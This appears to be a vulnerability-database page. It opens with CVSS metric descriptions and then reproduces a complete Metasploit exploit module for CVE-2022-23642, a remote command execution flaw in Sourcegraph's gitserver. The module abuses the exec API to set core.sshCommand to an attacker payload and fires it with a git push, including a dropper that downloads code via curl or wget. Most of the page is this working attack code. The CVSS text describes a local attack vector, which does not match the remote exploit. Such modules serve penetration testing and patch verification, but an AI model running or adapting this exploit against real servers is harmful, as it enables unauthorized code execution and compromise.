The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Sourcegraph gitserver sshCommand Remote Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sourcegraph gitserver sshCommand RCE',
'Description' => %q{
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
commands that are able to be executed through the git exec REST API.
},
'Author' => [
'Altelus1', # github PoC
'Spencer McIntyre' # metasploit module
],
'References' => [
['CVE', '2022-23642'],
['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
],
'DisclosureDate' => '2022-02-18', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
},
],
[
'Linux Dropper',
{
'Platform' => 'linux',
# when the OS command is executed, it's executed twice which will cause some of the command stagers to
# be corrupt, these two work even for larger payloads because they're downloaded in a single command
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
},
]
],
'DefaultOptions' => {
'RPORT' => 3178
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
])
end
def check
res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
return CheckCode::Unknown unless res
if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
# this is the response if the target repo does exist, highly unlikely since it's randomized
return CheckCode::Vulnerable('Successfully set core.sshCommand.')
elsif res.code == 404 && res.body =~ /"cloneInProgress"/
# this is the response if the target repo does not exist
return CheckCode::Vulnerable
elsif res.code == 400 && res.body =~ /^invalid command/
# this is the response when the server is patched, regardless of if there are cloned repos
return CheckCode::Safe
end
CheckCode::Unknown
end
def exploit
if datastore['EXISTING_REPO'].blank?
@git_repo = send_request_list.sample
fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo
print_status("Using automatically identified repository: #{@git_repo}")
else
@git_repo = datastore['EXISTING_REPO']
end
print_status("Executing #{target.name} target")
@git_origin = Rex::Text.rand_text_alphanumeric(4..11)
git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git"
vprint_status("Using #{@git_origin} as a fake git origin")
send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote])
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def cleanup
return unless @git_repo && @git_origin
vprint_status('Cleaning up the git changes...')
# delete the remote that was created
send_request_exec(@git_repo, ['remote', 'remove', @git_origin])
# unset the core.sshCommand value
send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])
ensure
super
end
def send_request_exec(repo, args, timeout = 20)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'exec'),
'method' => 'POST',
'data' => {
'Repo' => repo,
'Args' => args
}.to_json
}, timeout)
end
def send_request_list
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'list'),
'method' => 'GET',
'vars_get' => { 'cloned' => 'true' }
})
fail_with(Failure::Unreachable, 'No server response.') unless res
fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)
res.get_json_document
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
fail_with(Failure::Unreachable, 'No server response.') unless res
unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
end
fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
end
send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
end
end
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